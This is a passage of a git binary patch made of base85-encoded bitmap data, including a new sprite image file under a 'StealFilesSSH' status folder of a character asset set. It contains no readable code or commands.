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 MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH11.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH11.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 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 